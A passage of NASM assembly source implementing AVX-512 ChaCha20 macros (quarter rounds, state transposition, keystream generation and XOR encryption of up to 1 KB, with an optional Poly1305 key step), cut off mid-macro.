%define %%IN14_KS14 %15 ; [in/clobbered] Input row 14 of state, bytes 896-959 of keystream
%define %%IN15 %16 ; [in/clobbered] Input row 15 of state, bytes 640-703 of keystream
%define %%IN_ORIG00_KS09 %17 ; [in/clobbered] Original input row 0, bytes 576-639 of keystream
%define %%IN_ORIG01_KS10 %18 ; [in/clobbered] Original input row 1, bytes 640-703 of keystream
%define %%IN_ORIG02 %19 ; [in] Original input row 2
%define %%IN_ORIG03 %20 ; [in] Original input row 3
%define %%IN_ORIG04 %21 ; [in] Original input row 4
%define %%IN_ORIG05 %22 ; [in] Original input row 5
%define %%IN_ORIG06 %23 ; [in] Original input row 6
%define %%IN_ORIG07 %24 ; [in] Original input row 7
%define %%IN_ORIG08 %25 ; [in] Original input row 8
%define %%IN_ORIG09 %26 ; [in] Original input row 9
%define %%IN_ORIG10 %27 ; [in] Original input row 10
%define %%IN_ORIG11 %28 ; [in] Original input row 11
%define %%IN_ORIG12 %29 ; [in] Original input row 12
%define %%IN_ORIG13 %30 ; [in] Original input row 13
%define %%IN_ORIG14 %31 ; [in] Original input row 14
%define %%IN_ORIG15 %32 ; [in] Original input row 15
%define %%SRC %33 ; [in] Source pointer
%define %%DST %34 ; [in] Destination pointer
%define %%OFF %35 ; [in] Offset into src/dst pointers
%define %%GEN_KEY %36 ; [in] Generate poly key
vpaddd %%IN00_KS01, %%IN_ORIG00_KS09
vpaddd %%IN01_KS02, %%IN_ORIG01_KS10
vpaddd %%IN02_KS15, %%IN_ORIG02
vpaddd %%IN03_KS04, %%IN_ORIG03
;; Deal with first lanes 0-7
; T0, T1 free
vpunpckldq %%IN_ORIG00_KS09, %%IN00_KS01, %%IN01_KS02
vpunpckhdq %%IN00_KS01, %%IN00_KS01, %%IN01_KS02
vpunpckldq %%IN_ORIG01_KS10, %%IN02_KS15, %%IN03_KS04
vpunpckhdq %%IN02_KS15, %%IN02_KS15, %%IN03_KS04
; IN01_KS02, IN03_KS04 free
vpunpcklqdq %%IN03_KS04, %%IN_ORIG00_KS09, %%IN_ORIG01_KS10
vpunpckhqdq %%IN01_KS02, %%IN_ORIG00_KS09, %%IN_ORIG01_KS10
vpunpcklqdq %%IN_ORIG00_KS09, %%IN00_KS01, %%IN02_KS15
vpunpckhqdq %%IN00_KS01, %%IN00_KS01, %%IN02_KS15
vpaddd %%IN04_KS08, %%IN_ORIG04
vpaddd %%IN05, %%IN_ORIG05
vpaddd %%IN06_KS13, %%IN_ORIG06
vpaddd %%IN07_KS07, %%IN_ORIG07
; IN02_KS15, T1 free
vpunpckldq %%IN_ORIG01_KS10, %%IN04_KS08, %%IN05
vpunpckhdq %%IN04_KS08, %%IN04_KS08, %%IN05
vpunpckldq %%IN02_KS15, %%IN06_KS13, %%IN07_KS07
vpunpckhdq %%IN06_KS13, %%IN06_KS13, %%IN07_KS07
; IN07_KS07, IN05 free
vpunpcklqdq %%IN07_KS07, %%IN_ORIG01_KS10, %%IN02_KS15
vpunpckhqdq %%IN05, %%IN_ORIG01_KS10, %%IN02_KS15
vpunpcklqdq %%IN02_KS15, %%IN04_KS08, %%IN06_KS13
vpunpckhqdq %%IN04_KS08, %%IN04_KS08, %%IN06_KS13
; T1, IN06_KS13 free
vshufi64x2 %%IN_ORIG01_KS10, %%IN03_KS04, %%IN07_KS07, 0x44
vshufi64x2 %%IN03_KS04, %%IN03_KS04, %%IN07_KS07, 0xee
vshufi64x2 %%IN06_KS13, %%IN01_KS02, %%IN05, 0x44
vshufi64x2 %%IN01_KS02, %%IN01_KS02, %%IN05, 0xee
vshufi64x2 %%IN07_KS07, %%IN_ORIG00_KS09, %%IN02_KS15, 0x44
vshufi64x2 %%IN02_KS15, %%IN_ORIG00_KS09, %%IN02_KS15, 0xee
vshufi64x2 %%IN05, %%IN00_KS01, %%IN04_KS08, 0x44
vshufi64x2 %%IN00_KS01, %%IN00_KS01, %%IN04_KS08, 0xee
;; Deal with lanes 8-15
vpaddd %%IN08_KS05, %%IN_ORIG08
vpaddd %%IN09_KS00, %%IN_ORIG09
vpaddd %%IN10_KS06, %%IN_ORIG10
vpaddd %%IN11_KS11, %%IN_ORIG11
vpunpckldq %%IN_ORIG00_KS09, %%IN08_KS05, %%IN09_KS00
vpunpckhdq %%IN08_KS05, %%IN08_KS05, %%IN09_KS00
vpunpckldq %%IN04_KS08, %%IN10_KS06, %%IN11_KS11
vpunpckhdq %%IN10_KS06, %%IN10_KS06, %%IN11_KS11
vpunpcklqdq %%IN09_KS00, %%IN_ORIG00_KS09, %%IN04_KS08
vpunpckhqdq %%IN04_KS08, %%IN_ORIG00_KS09, %%IN04_KS08
vpunpcklqdq %%IN11_KS11, %%IN08_KS05, %%IN10_KS06
vpunpckhqdq %%IN08_KS05, %%IN08_KS05, %%IN10_KS06
vpaddd %%IN12_KS12, %%IN_ORIG12
vpaddd %%IN13_KS03, %%IN_ORIG13
vpaddd %%IN14_KS14, %%IN_ORIG14
vpaddd %%IN15, %%IN_ORIG15
vpunpckldq %%IN_ORIG00_KS09, %%IN12_KS12, %%IN13_KS03
vpunpckhdq %%IN12_KS12, %%IN12_KS12, %%IN13_KS03
vpunpckldq %%IN10_KS06, %%IN14_KS14, %%IN15
vpunpckhdq %%IN14_KS14, %%IN14_KS14, %%IN15
vpunpcklqdq %%IN13_KS03, %%IN_ORIG00_KS09, %%IN10_KS06
vpunpckhqdq %%IN10_KS06, %%IN_ORIG00_KS09, %%IN10_KS06
vpunpcklqdq %%IN15, %%IN12_KS12, %%IN14_KS14
vpunpckhqdq %%IN12_KS12, %%IN12_KS12, %%IN14_KS14
vshufi64x2 %%IN14_KS14, %%IN09_KS00, %%IN13_KS03, 0x44
vshufi64x2 %%IN09_KS00, %%IN09_KS00, %%IN13_KS03, 0xee
vshufi64x2 %%IN_ORIG00_KS09, %%IN04_KS08, %%IN10_KS06, 0x44
vshufi64x2 %%IN10_KS06, %%IN04_KS08, %%IN10_KS06, 0xee
vshufi64x2 %%IN13_KS03, %%IN11_KS11, %%IN15, 0x44
vshufi64x2 %%IN11_KS11, %%IN11_KS11, %%IN15, 0xee
vshufi64x2 %%IN15, %%IN08_KS05, %%IN12_KS12, 0x44
vshufi64x2 %%IN08_KS05, %%IN08_KS05, %%IN12_KS12, 0xee
%ifidn %%GEN_KEY, gen_poly_key
vshufi64x2 %%IN12_KS12, %%IN03_KS04, %%IN09_KS00, 0xdd
vpxorq %%IN12_KS12, [%%SRC + %%OFF + 64*11]
vmovdqu64 [%%DST + %%OFF + 64*11], %%IN12_KS12
vshufi64x2 %%IN04_KS08, %%IN03_KS04, %%IN09_KS00, 0x88
vpxorq %%IN04_KS08, [%%SRC + %%OFF + 64*7]
vmovdqu64 [%%DST + %%OFF + 64*7], %%IN04_KS08
vshufi64x2 %%IN09_KS00, %%IN_ORIG01_KS10, %%IN14_KS14, 0x88
GEN_POLY_KEY arg2, %%IN09_KS00
vshufi64x2 %%IN03_KS04, %%IN_ORIG01_KS10, %%IN14_KS14, 0xdd
vpxorq %%IN03_KS04, [%%SRC + %%OFF + 64*3]
vmovdqu64 [%%DST + %%OFF + 64*3], %%IN03_KS04
vshufi64x2 %%IN14_KS14, %%IN02_KS15, %%IN11_KS11, 0xdd
vpxorq %%IN14_KS14, [%%SRC + %%OFF + 64*13]
vmovdqu64 [%%DST + %%OFF + 64*13], %%IN14_KS14
vshufi64x2 %%IN_ORIG01_KS10, %%IN02_KS15, %%IN11_KS11, 0x88
vpxorq %%IN_ORIG01_KS10, [%%SRC + %%OFF + 64*9]
vmovdqu64 [%%DST + %%OFF + 64*9], %%IN_ORIG01_KS10
vshufi64x2 %%IN11_KS11, %%IN00_KS01, %%IN08_KS05, 0x88
vpxorq %%IN11_KS11, [%%SRC + %%OFF + 64*10]
vmovdqu64 [%%DST + %%OFF + 64*10], %%IN11_KS11
vshufi64x2 %%IN02_KS15, %%IN00_KS01, %%IN08_KS05, 0xdd
vpxorq %%IN02_KS15, [%%SRC + %%OFF + 64*14]
vmovdqu64 [%%DST + %%OFF + 64*14], %%IN02_KS15
vshufi64x2 %%IN00_KS01, %%IN06_KS13, %%IN_ORIG00_KS09, 0x88
vpxorq %%IN00_KS01, [%%SRC + %%OFF]
vmovdqu64 [%%DST + %%OFF], %%IN00_KS01
vshufi64x2 %%IN08_KS05, %%IN06_KS13, %%IN_ORIG00_KS09, 0xdd
vpxorq %%IN08_KS05, [%%SRC + %%OFF + 64*4]
vmovdqu64 [%%DST + %%OFF + 64*4], %%IN08_KS05
vshufi64x2 %%IN_ORIG00_KS09, %%IN01_KS02, %%IN10_KS06, 0x88
vpxorq %%IN_ORIG00_KS09, [%%SRC + %%OFF + 64*8]
vmovdqu64 [%%DST + %%OFF + 64*8], %%IN_ORIG00_KS09
vshufi64x2 %%IN06_KS13, %%IN01_KS02, %%IN10_KS06, 0xdd
vpxorq %%IN06_KS13, [%%SRC + %%OFF + 64*12]
vmovdqu64 [%%DST + %%OFF + 64*12], %%IN06_KS13
vshufi64x2 %%IN01_KS02, %%IN07_KS07, %%IN13_KS03, 0x88
vpxorq %%IN01_KS02, [%%SRC + %%OFF + 64]
vmovdqu64 [%%DST + %%OFF + 64], %%IN01_KS02
vshufi64x2 %%IN10_KS06, %%IN07_KS07, %%IN13_KS03, 0xdd
vpxorq %%IN10_KS06, [%%SRC + %%OFF + 64*5]
vmovdqu64 [%%DST + %%OFF + 64*5], %%IN10_KS06
vshufi64x2 %%IN13_KS03, %%IN05, %%IN15, 0x88
vpxorq %%IN13_KS03, [%%SRC + %%OFF + 64*2]
vmovdqu64 [%%DST + %%OFF + 64*2], %%IN13_KS03
vshufi64x2 %%IN07_KS07, %%IN05, %%IN15, 0xdd
vpxorq %%IN07_KS07, [%%SRC + %%OFF + 64*6]
vmovdqu64 [%%DST + %%OFF + 64*6], %%IN07_KS07
%else ; GEN_KEY != gen_poly_key
vshufi64x2 %%IN12_KS12, %%IN03_KS04, %%IN09_KS00, 0xdd
vpxorq %%IN12_KS12, [%%SRC + %%OFF + 64*12]
vmovdqu64 [%%DST + %%OFF + 64*12], %%IN12_KS12
vshufi64x2 %%IN04_KS08, %%IN03_KS04, %%IN09_KS00, 0x88
vpxorq %%IN04_KS08, [%%SRC + %%OFF + 64*8]
vmovdqu64 [%%DST + %%OFF + 64*8], %%IN04_KS08
vshufi64x2 %%IN09_KS00, %%IN_ORIG01_KS10, %%IN14_KS14, 0x88
vpxorq %%IN09_KS00, [%%SRC + %%OFF]
vmovdqu64 [%%DST + %%OFF], %%IN09_KS00
vshufi64x2 %%IN03_KS04, %%IN_ORIG01_KS10, %%IN14_KS14, 0xdd
vpxorq %%IN03_KS04, [%%SRC + %%OFF + 64*4]
vmovdqu64 [%%DST + %%OFF + 64*4], %%IN03_KS04
vshufi64x2 %%IN14_KS14, %%IN02_KS15, %%IN11_KS11, 0xdd
vpxorq %%IN14_KS14, [%%SRC + %%OFF + 64*14]
vmovdqu64 [%%DST + %%OFF + 64*14], %%IN14_KS14
vshufi64x2 %%IN_ORIG01_KS10, %%IN02_KS15, %%IN11_KS11, 0x88
vpxorq %%IN_ORIG01_KS10, [%%SRC + %%OFF + 64*10]
vmovdqu64 [%%DST + %%OFF + 64*10], %%IN_ORIG01_KS10
vshufi64x2 %%IN11_KS11, %%IN00_KS01, %%IN08_KS05, 0x88
vpxorq %%IN11_KS11, [%%SRC + %%OFF + 64*11]
vmovdqu64 [%%DST + %%OFF + 64*11], %%IN11_KS11
vshufi64x2 %%IN02_KS15, %%IN00_KS01, %%IN08_KS05, 0xdd
vpxorq %%IN02_KS15, [%%SRC + %%OFF + 64*15]
vmovdqu64 [%%DST + %%OFF + 64*15], %%IN02_KS15
vshufi64x2 %%IN00_KS01, %%IN06_KS13, %%IN_ORIG00_KS09, 0x88
vpxorq %%IN00_KS01, [%%SRC + %%OFF + 64*1]
vmovdqu64 [%%DST + %%OFF + 64*1], %%IN00_KS01
vshufi64x2 %%IN08_KS05, %%IN06_KS13, %%IN_ORIG00_KS09, 0xdd
vpxorq %%IN08_KS05, [%%SRC + %%OFF + 64*5]
vmovdqu64 [%%DST + %%OFF + 64*5], %%IN08_KS05
vshufi64x2 %%IN_ORIG00_KS09, %%IN01_KS02, %%IN10_KS06, 0x88
vpxorq %%IN_ORIG00_KS09, [%%SRC + %%OFF + 64*9]
vmovdqu64 [%%DST + %%OFF + 64*9], %%IN_ORIG00_KS09
vshufi64x2 %%IN06_KS13, %%IN01_KS02, %%IN10_KS06, 0xdd
vpxorq %%IN06_KS13, [%%SRC + %%OFF + 64*13]
vmovdqu64 [%%DST + %%OFF + 64*13], %%IN06_KS13
vshufi64x2 %%IN01_KS02, %%IN07_KS07, %%IN13_KS03, 0x88
vpxorq %%IN01_KS02, [%%SRC + %%OFF + 64*2]
vmovdqu64 [%%DST + %%OFF + 64*2], %%IN01_KS02
vshufi64x2 %%IN10_KS06, %%IN07_KS07, %%IN13_KS03, 0xdd
vpxorq %%IN10_KS06, [%%SRC + %%OFF + 64*6]
vmovdqu64 [%%DST + %%OFF + 64*6], %%IN10_KS06
vshufi64x2 %%IN13_KS03, %%IN05, %%IN15, 0x88
vpxorq %%IN13_KS03, [%%SRC + %%OFF + 64*3]
vmovdqu64 [%%DST + %%OFF + 64*3], %%IN13_KS03
vshufi64x2 %%IN07_KS07, %%IN05, %%IN15, 0xdd
vpxorq %%IN07_KS07, [%%SRC + %%OFF + 64*7]
vmovdqu64 [%%DST + %%OFF + 64*7], %%IN07_KS07
%endif
%endmacro
;;
;; Performs a quarter round on all 4 columns,
;; resulting in a full round
;;
%macro QUARTER_ROUND_X4 4
%define %%A %1 ;; [in/out] ZMM register containing value A of all 4 columns
%define %%B %2 ;; [in/out] ZMM register containing value B of all 4 columns
%define %%C %3 ;; [in/out] ZMM register containing value C of all 4 columns
%define %%D %4 ;; [in/out] ZMM register containing value D of all 4 columns
vpaddd %%A, %%B
vpxorq %%D, %%A
vprold %%D, 16
vpaddd %%C, %%D
vpxorq %%B, %%C
vprold %%B, 12
vpaddd %%A, %%B
vpxorq %%D, %%A
vprold %%D, 8
vpaddd %%C, %%D
vpxorq %%B, %%C
vprold %%B, 7
%endmacro
;;
;; Rotates the registers to prepare the data
;; from column round to diagonal round
;;
%macro COLUMN_TO_DIAG 3
%define %%B %1 ;; [in/out] ZMM register containing value B of all 4 columns
%define %%C %2 ;; [in/out] ZMM register containing value C of all 4 columns
%define %%D %3 ;; [in/out] ZMM register containing value D of all 4 columns
vpshufd %%B, %%B, 0x39 ; 0b00111001 ;; 0,3,2,1
vpshufd %%C, %%C, 0x4E ; 0b01001110 ;; 1,0,3,2
vpshufd %%D, %%D, 0x93 ; 0b10010011 ;; 2,1,0,3
%endmacro
;;
;; Rotates the registers to prepare the data
;; from diagonal round to column round
;;
%macro DIAG_TO_COLUMN 3
%define %%B %1 ;; [in/out] ZMM register containing value B of all 4 columns
%define %%C %2 ;; [in/out] ZMM register containing value C of all 4 columns
%define %%D %3 ;; [in/out] ZMM register containing value D of all 4 columns
vpshufd %%B, %%B, 0x93 ; 0b10010011 ; 2,1,0,3
vpshufd %%C, %%C, 0x4E ; 0b01001110 ; 1,0,3,2
vpshufd %%D, %%D, 0x39 ; 0b00111001 ; 0,3,2,1
%endmacro
;;
;; Generates up to 64*8 bytes of keystream
;;
%macro GENERATE_512_KS 18
%define %%A_L_KS0 %1 ;; [out] ZMM A / Bytes 0-63 of KS
%define %%B_L_KS1 %2 ;; [out] ZMM B / Bytes 64-127 of KS
%define %%C_L_KS2 %3 ;; [out] ZMM C / Bytes 128-191 of KS
%define %%D_L_KS3 %4 ;; [out] ZMM D / Bytes 192-255 of KS
%define %%A_H_KS4 %5 ;; [out] ZMM A / Bytes 256-319 of KS (or "none" in NUM_BLOCKS == 4)
%define %%B_H_KS5 %6 ;; [out] ZMM B / Bytes 320-383 of KS (or "none" in NUM_BLOCKS == 4)
%define %%C_H_KS6 %7 ;; [out] ZMM C / Bytes 384-447 of KS (or "none" in NUM_BLOCKS == 4)
%define %%D_H_KS7 %8 ;; [out] ZMM D / Bytes 448-511 of KS (or "none" in NUM_BLOCKS == 4)
%define %%STATE_IN_A_L %9 ;; [in] ZMM containing state "A" part
%define %%STATE_IN_B_L %10 ;; [in] ZMM containing state "B" part
%define %%STATE_IN_C_L %11 ;; [in] ZMM containing state "C" part
%define %%STATE_IN_D_L %12 ;; [in] ZMM containing state "D" part
%define %%STATE_IN_D_H %13 ;; [in] ZMM containing state "D" part (or "none" in NUM_BLOCKS == 4)
%define %%ZTMP0 %14 ;; [clobbered] Temp ZMM reg
%define %%ZTMP1 %15 ;; [clobbered] Temp ZMM reg
%define %%ZTMP2 %16 ;; [clobbered] Temp ZMM reg
%define %%ZTMP3 %17 ;; [clobbered] Temp ZMM reg
%define %%NUM_BLOCKS %18 ;; [in] Num blocks to encrypt (4 or 8)
vmovdqa64 %%A_L_KS0, %%STATE_IN_A_L
vmovdqa64 %%B_L_KS1, %%STATE_IN_B_L
vmovdqa64 %%C_L_KS2, %%STATE_IN_C_L
vmovdqa64 %%D_L_KS3, %%STATE_IN_D_L
%if %%NUM_BLOCKS == 8
vmovdqa64 %%A_H_KS4, %%STATE_IN_A_L
vmovdqa64 %%B_H_KS5, %%STATE_IN_B_L
vmovdqa64 %%C_H_KS6, %%STATE_IN_C_L
vmovdqa64 %%D_H_KS7, %%STATE_IN_D_H
%endif
%rep 10
%if %%NUM_BLOCKS == 4
QUARTER_ROUND_X4 %%A_L_KS0, %%B_L_KS1, %%C_L_KS2, %%D_L_KS3
COLUMN_TO_DIAG %%B_L_KS1, %%C_L_KS2, %%D_L_KS3
QUARTER_ROUND_X4 %%A_L_KS0, %%B_L_KS1, %%C_L_KS2, %%D_L_KS3
DIAG_TO_COLUMN %%B_L_KS1, %%C_L_KS2, %%D_L_KS3
%else
QUARTER_ROUND_X4 %%A_L_KS0, %%B_L_KS1, %%C_L_KS2, %%D_L_KS3
QUARTER_ROUND_X4 %%A_H_KS4, %%B_H_KS5, %%C_H_KS6, %%D_H_KS7
COLUMN_TO_DIAG %%B_L_KS1, %%C_L_KS2, %%D_L_KS3
COLUMN_TO_DIAG %%B_H_KS5, %%C_H_KS6, %%D_H_KS7
QUARTER_ROUND_X4 %%A_L_KS0, %%B_L_KS1, %%C_L_KS2, %%D_L_KS3
QUARTER_ROUND_X4 %%A_H_KS4, %%B_H_KS5, %%C_H_KS6, %%D_H_KS7
DIAG_TO_COLUMN %%B_L_KS1, %%C_L_KS2, %%D_L_KS3
DIAG_TO_COLUMN %%B_H_KS5, %%C_H_KS6, %%D_H_KS7
%endif ;; %%NUM_BLOCKS == 4
%endrep
vpaddd %%A_L_KS0, %%STATE_IN_A_L
vpaddd %%B_L_KS1, %%STATE_IN_B_L
vpaddd %%C_L_KS2, %%STATE_IN_C_L
vpaddd %%D_L_KS3, %%STATE_IN_D_L
TRANSPOSE4_U128_INPLACE %%A_L_KS0, %%B_L_KS1, %%C_L_KS2, %%D_L_KS3, \
%%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3
%if %%NUM_BLOCKS == 8
vpaddd %%A_H_KS4, %%STATE_IN_A_L
vpaddd %%B_H_KS5, %%STATE_IN_B_L
vpaddd %%C_H_KS6, %%STATE_IN_C_L
vpaddd %%D_H_KS7, %%STATE_IN_D_H
TRANSPOSE4_U128_INPLACE %%A_H_KS4, %%B_H_KS5, %%C_H_KS6, %%D_H_KS7, \
%%ZTMP0, %%ZTMP1, %%ZTMP2, %%ZTMP3
%endif
%endmacro
;;
;; Performs a full chacha20 round on 16 states,
;; consisting of 4 quarter rounds, which are done in parallel
;;
%macro CHACHA20_ROUND 16
%define %%ZMM_DWORD_A1 %1 ;; [in/out] ZMM register containing dword A for first quarter round
%define %%ZMM_DWORD_A2 %2 ;; [in/out] ZMM register containing dword A for second quarter round
%define %%ZMM_DWORD_A3 %3 ;; [in/out] ZMM register containing dword A for third quarter round
%define %%ZMM_DWORD_A4 %4 ;; [in/out] ZMM register containing dword A for fourth quarter round
%define %%ZMM_DWORD_B1 %5 ;; [in/out] ZMM register containing dword B for first quarter round
%define %%ZMM_DWORD_B2 %6 ;; [in/out] ZMM register containing dword B for second quarter round
%define %%ZMM_DWORD_B3 %7 ;; [in/out] ZMM register containing dword B for third quarter round
%define %%ZMM_DWORD_B4 %8 ;; [in/out] ZMM register containing dword B for fourth quarter round
%define %%ZMM_DWORD_C1 %9 ;; [in/out] ZMM register containing dword C for first quarter round
%define %%ZMM_DWORD_C2 %10 ;; [in/out] ZMM register containing dword C for second quarter round
%define %%ZMM_DWORD_C3 %11 ;; [in/out] ZMM register containing dword C for third quarter round
%define %%ZMM_DWORD_C4 %12 ;; [in/out] ZMM register containing dword C for fourth quarter round
%define %%ZMM_DWORD_D1 %13 ;; [in/out] ZMM register containing dword D for first quarter round
%define %%ZMM_DWORD_D2 %14 ;; [in/out] ZMM register containing dword D for second quarter round
%define %%ZMM_DWORD_D3 %15 ;; [in/out] ZMM register containing dword D for third quarter round
%define %%ZMM_DWORD_D4 %16 ;; [in/out] ZMM register containing dword D for fourth quarter round
; A += B
ZMM_OP_X4 vpaddd, %%ZMM_DWORD_A1, %%ZMM_DWORD_A2, %%ZMM_DWORD_A3, %%ZMM_DWORD_A4, \
%%ZMM_DWORD_B1, %%ZMM_DWORD_B2, %%ZMM_DWORD_B3, %%ZMM_DWORD_B4
; D ^= A
ZMM_OP_X4 vpxorq, %%ZMM_DWORD_D1, %%ZMM_DWORD_D2, %%ZMM_DWORD_D3, %%ZMM_DWORD_D4, \
%%ZMM_DWORD_A1, %%ZMM_DWORD_A2, %%ZMM_DWORD_A3, %%ZMM_DWORD_A4
; D <<< 16
ZMM_ROLS_X4 %%ZMM_DWORD_D1, %%ZMM_DWORD_D2, %%ZMM_DWORD_D3, %%ZMM_DWORD_D4, 16
; C += D
ZMM_OP_X4 vpaddd, %%ZMM_DWORD_C1, %%ZMM_DWORD_C2, %%ZMM_DWORD_C3, %%ZMM_DWORD_C4, \
%%ZMM_DWORD_D1, %%ZMM_DWORD_D2, %%ZMM_DWORD_D3, %%ZMM_DWORD_D4
; B ^= C
ZMM_OP_X4 vpxorq, %%ZMM_DWORD_B1, %%ZMM_DWORD_B2, %%ZMM_DWORD_B3, %%ZMM_DWORD_B4, \
%%ZMM_DWORD_C1, %%ZMM_DWORD_C2, %%ZMM_DWORD_C3, %%ZMM_DWORD_C4
; B <<< 12
ZMM_ROLS_X4 %%ZMM_DWORD_B1, %%ZMM_DWORD_B2, %%ZMM_DWORD_B3, %%ZMM_DWORD_B4, 12
; A += B
ZMM_OP_X4 vpaddd, %%ZMM_DWORD_A1, %%ZMM_DWORD_A2, %%ZMM_DWORD_A3, %%ZMM_DWORD_A4, \
%%ZMM_DWORD_B1, %%ZMM_DWORD_B2, %%ZMM_DWORD_B3, %%ZMM_DWORD_B4
; D ^= A
ZMM_OP_X4 vpxorq, %%ZMM_DWORD_D1, %%ZMM_DWORD_D2, %%ZMM_DWORD_D3, %%ZMM_DWORD_D4, \
%%ZMM_DWORD_A1, %%ZMM_DWORD_A2, %%ZMM_DWORD_A3, %%ZMM_DWORD_A4
; D <<< 8
ZMM_ROLS_X4 %%ZMM_DWORD_D1, %%ZMM_DWORD_D2, %%ZMM_DWORD_D3, %%ZMM_DWORD_D4, 8
; C += D
ZMM_OP_X4 vpaddd, %%ZMM_DWORD_C1, %%ZMM_DWORD_C2, %%ZMM_DWORD_C3, %%ZMM_DWORD_C4, \
%%ZMM_DWORD_D1, %%ZMM_DWORD_D2, %%ZMM_DWORD_D3, %%ZMM_DWORD_D4
; B ^= C
ZMM_OP_X4 vpxorq, %%ZMM_DWORD_B1, %%ZMM_DWORD_B2, %%ZMM_DWORD_B3, %%ZMM_DWORD_B4, \
%%ZMM_DWORD_C1, %%ZMM_DWORD_C2, %%ZMM_DWORD_C3, %%ZMM_DWORD_C4
; B <<< 7
ZMM_ROLS_X4 %%ZMM_DWORD_B1, %%ZMM_DWORD_B2, %%ZMM_DWORD_B3, %%ZMM_DWORD_B4, 7
%endmacro
;;
;; Generates 64*16 bytes of keystream and encrypt up to 1KB of input data
;;
%macro ENCRYPT_1K 36
%define %%ZMM_DWORD0 %1 ;; [clobbered] ZMM to contain dword 0 of all states
%define %%ZMM_DWORD1 %2 ;; [clobbered] ZMM to contain dword 1 of all states
%define %%ZMM_DWORD2 %3 ;; [clobbered] ZMM to contain dword 2 of all states
%define %%ZMM_DWORD3 %4 ;; [clobbered] ZMM to contain dword 3 of all states
%define %%ZMM_DWORD4 %5 ;; [clobbered] ZMM to contain dword 4 of all states
%define %%ZMM_DWORD5 %6 ;; [clobbered] ZMM to contain dword 5 of all states
%define %%ZMM_DWORD6 %7 ;; [clobbered] ZMM to contain dword 6 of all states
%define %%ZMM_DWORD7 %8 ;; [clobbered] ZMM to contain dword 7 of all states
%define %%ZMM_DWORD8 %9 ;; [clobbered] ZMM to contain dword 8 of all states
%define %%ZMM_DWORD9 %10 ;; [clobbered] ZMM to contain dword 9 of all states
%define %%ZMM_DWORD10 %11 ;; [clobbered] ZMM to contain dword 10 of all states
%define %%ZMM_DWORD11 %12 ;; [clobbered] ZMM to contain dword 11 of all states
%define %%ZMM_DWORD12 %13 ;; [clobbered] ZMM to contain dword 12 of all states
%define %%ZMM_DWORD13 %14 ;; [clobbered] ZMM to contain dword 13 of all states
%define %%ZMM_DWORD14 %15 ;; [clobbered] ZMM to contain dword 14 of all states
%define %%ZMM_DWORD15 %16 ;; [clobbered] ZMM to contain dword 15 of all states
%define %%ZMM_DWORD_ORIG0 %17 ;; [in/clobbered] ZMM containing dword 0 of all states / Temp ZMM register
%define %%ZMM_DWORD_ORIG1 %18 ;; [in/clobbered] ZMM containing dword 1 of all states / Temp ZMM register
%define %%ZMM_DWORD_ORIG2 %19 ;; [in] ZMM containing dword 2 of all states
%define %%ZMM_DWORD_ORIG3 %20 ;; [in] ZMM containing dword 3 of all states
%define %%ZMM_DWORD_ORIG4 %21 ;; [in] ZMM containing dword 4 of all states
%define %%ZMM_DWORD_ORIG5 %22 ;; [in] ZMM containing dword 5 of all states
%define %%ZMM_DWORD_ORIG6 %23 ;; [in] ZMM containing dword 6 of all states
%define %%ZMM_DWORD_ORIG7 %24 ;; [in] ZMM containing dword 7 of all states
%define %%ZMM_DWORD_ORIG8 %25 ;; [in] ZMM containing dword 8 of all states
%define %%ZMM_DWORD_ORIG9 %26 ;; [in] ZMM containing dword 9 of all states
%define %%ZMM_DWORD_ORIG10 %27 ;; [in] ZMM containing dword 10 of all states
%define %%ZMM_DWORD_ORIG11 %28 ;; [in] ZMM containing dword 11 of all states
%define %%ZMM_DWORD_ORIG12 %29 ;; [in] ZMM containing dword 12 of all states
%define %%ZMM_DWORD_ORIG13 %30 ;; [in] ZMM containing dword 13 of all states
%define %%ZMM_DWORD_ORIG14 %31 ;; [in] ZMM containing dword 14 of all states
%define %%ZMM_DWORD_ORIG15 %32 ;; [in] ZMM containing dword 15 of all states
%define %%SRC %33 ;; [in] Source pointer
%define %%DST %34 ;; [in] Destination pointer
%define %%OFF %35 ;; [in] Offset into src/dst pointers
%define %%GEN_KEY %36 ;; [in] Generate poly key
%assign i 0
%rep 16
vmovdqa64 APPEND(%%ZMM_DWORD, i), APPEND(%%ZMM_DWORD_ORIG, i)
%assign i (i + 1)
%endrep
%rep 10
;;; Each full round consists of 8 quarter rounds, 4 column rounds and 4 diagonal rounds
;;; For first 4 column rounds:
;;; A = 0, 1, 2, 3; B = 4, 5, 6, 7;
;;; C = 8, 9, 10, 11; D = 12, 13, 14, 15
CHACHA20_ROUND %%ZMM_DWORD0, %%ZMM_DWORD1, %%ZMM_DWORD2, %%ZMM_DWORD3, \
%%ZMM_DWORD4, %%ZMM_DWORD5, %%ZMM_DWORD6, %%ZMM_DWORD7, \
%%ZMM_DWORD8, %%ZMM_DWORD9, %%ZMM_DWORD10, %%ZMM_DWORD11, \
%%ZMM_DWORD12, %%ZMM_DWORD13, %%ZMM_DWORD14, %%ZMM_DWORD15
;;; For 4 diagonal rounds:
;;; A = 0, 1, 2, 3; B = 5, 6, 7, 4;
;;; C = 10, 11, 8, 9; D = 15, 12, 13, 14
CHACHA20_ROUND %%ZMM_DWORD0, %%ZMM_DWORD1, %%ZMM_DWORD2, %%ZMM_DWORD3, \
%%ZMM_DWORD5, %%ZMM_DWORD6, %%ZMM_DWORD7, %%ZMM_DWORD4, \
%%ZMM_DWORD10, %%ZMM_DWORD11, %%ZMM_DWORD8, %%ZMM_DWORD9, \
%%ZMM_DWORD15, %%ZMM_DWORD12, %%ZMM_DWORD13, %%ZMM_DWORD14
%endrep
;; Add original states to processed states, transpose
;; these states to form the 64*16 bytes of keystream,
;; XOR with plaintext and write ciphertext out
GENERATE_1K_KS_AND_ENCRYPT %%ZMM_DWORD0, %%ZMM_DWORD1, %%ZMM_DWORD2, %%ZMM_DWORD3, \
%%ZMM_DWORD4, %%ZMM_DWORD5, %%ZMM_DWORD6, %%ZMM_DWORD7, \
%%ZMM_DWORD8, %%ZMM_DWORD9, %%ZMM_DWORD10, %%ZMM_DWORD11, \
%%ZMM_DWORD12, %%ZMM_DWORD13, %%ZMM_DWORD14, %%ZMM_DWORD15, \
%%ZMM_DWORD_ORIG0, %%ZMM_DWORD_ORIG1, %%ZMM_DWORD_ORIG2, \
%%ZMM_DWORD_ORIG3,%%ZMM_DWORD_ORIG4, %%ZMM_DWORD_ORIG5, \
%%ZMM_DWORD_ORIG6, %%ZMM_DWORD_ORIG7, %%ZMM_DWORD_ORIG8, \
%%ZMM_DWORD_ORIG9, %%ZMM_DWORD_ORIG10, %%ZMM_DWORD_ORIG11, \
